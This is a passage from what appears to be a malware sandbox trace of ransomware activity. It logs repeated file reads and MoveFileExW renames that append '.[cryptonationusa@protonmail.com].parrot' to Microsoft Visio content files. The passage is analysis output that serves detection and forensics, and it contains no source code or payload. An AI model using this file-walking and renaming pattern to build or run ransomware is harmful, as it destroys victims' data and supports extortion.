Office\\Office14\\Visio Content\\1033\\EEQUAL_M.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\eequal_m.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0217.259] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0217.259] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0217.261] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0217.261] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x19600, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x19600, lpOverlapped=0x0) returned 1 [0217.266] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0217.271] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\EEQUAL_U.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\eequal_u.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\EEQUAL_U.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\eequal_u.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0217.282] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0217.282] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0217.283] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0217.283] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x29c00, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x29c00, lpOverlapped=0x0) returned 1 [0217.290] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0217.294] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\EESEMI_M.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\eesemi_m.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\EESEMI_M.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\eesemi_m.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0217.301] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0217.301] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0217.302] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0217.303] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x29a00, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x29a00, lpOverlapped=0x0) returned 1 [0217.311] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0217.315] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\EESEMI_U.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\eesemi_u.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\EESEMI_U.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\eesemi_u.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0217.323] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0217.323] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0217.370] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0217.370] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x4b000, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x4b000, lpOverlapped=0x0) returned 1 [0217.385] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0217.394] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\EESWCH_M.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\eeswch_m.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\EESWCH_M.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\eeswch_m.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0217.403] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0217.403] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0217.405] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0217.405] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x48600, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x48600, lpOverlapped=0x0) returned 1 [0217.417] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0217.426] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\EESWCH_U.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\eeswch_u.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\EESWCH_U.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\eeswch_u.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0217.435] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0217.435] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0217.437] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0217.437] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x8600, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x8600, lpOverlapped=0x0) returned 1 [0217.442] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0217.443] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\EESYS_M.VST" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\eesys_m.vst"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\EESYS_M.VST.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\eesys_m.vst.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0217.450] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0217.450] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0217.453] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0217.453] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x8400, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x8400, lpOverlapped=0x0) returned 1 [0217.454] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0217.455] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\EESYS_U.VST" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\eesys_u.vst"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\EESYS_U.VST.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\eesys_u.vst.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0217.461] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0217.461] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0217.463] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0217.463] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1f200, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x1f200, lpOverlapped=0x0) returned 1 [0217.466] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0217.470] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\EETCOM_M.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\eetcom_m.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\EETCOM_M.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\eetcom_m.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0217.480] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0217.480] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0217.522] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0217.522] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1d200, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x1d200, lpOverlapped=0x0) returned 1 [0217.526] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0217.531] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\EETCOM_U.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\eetcom_u.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\EETCOM_U.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\eetcom_u.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0217.542] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0217.542] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0217.543] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0217.543] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x24c00, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x24c00, lpOverlapped=0x0) returned 1 [0217.549] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0217.553] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\EETERM_M.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\eeterm_m.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\EETERM_M.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\eeterm_m.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0217.560] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0217.560] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0217.569] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0217.569] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x23a00, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x23a00, lpOverlapped=0x0) returned 1 [0217.577] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0217.581] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\EETERM_U.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\eeterm_u.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\EETERM_U.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\eeterm_u.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0217.589] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0217.589] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0217.590] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0217.590] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x18c00, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x18c00, lpOverlapped=0x0) returned 1 [0217.596] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0217.600] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\EETRAN_M.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\eetran_m.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\EETRAN_M.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\eetran_m.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0217.609] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0217.609] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0217.611] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0217.611] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x17c00, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x17c00, lpOverlapped=0x0) returned 1 [0217.614] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0217.619] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\EETRAN_U.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\eetran_u.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\EETRAN_U.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\eetran_u.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0217.629] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0217.629] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0217.630] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0217.630] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x28e00, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x28e00, lpOverlapped=0x0) returned 1 [0217.636] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0217.640] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\EEVHF_M.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\eevhf_m.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\EEVHF_M.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\eevhf_m.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0217.648] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0217.648] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0217.649] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0217.650] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x27c00, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x27c00, lpOverlapped=0x0) returned 1 [0217.658] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0217.663] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\EEVHF_U.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\eevhf_u.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\EEVHF_U.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\eevhf_u.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0217.670] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0217.670] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0217.671] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0217.672] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x25c00, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x25c00, lpOverlapped=0x0) returned 1 [0217.680] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0217.684] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\ELETEL_M.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\eletel_m.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\ELETEL_M.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\eletel_m.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0217.691] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0217.691] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0217.738] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0217.738] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xca00, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xca00, lpOverlapped=0x0) returned 1 [0217.748] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0217.750] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\ELETEL_M.VST" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\eletel_m.vst"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\ELETEL_M.VST.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\eletel_m.vst.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0217.758] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0217.758] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0217.759] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0217.759] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x27a00, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x27a00, lpOverlapped=0x0) returned 1 [0217.764] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0217.768] MoveFileExW 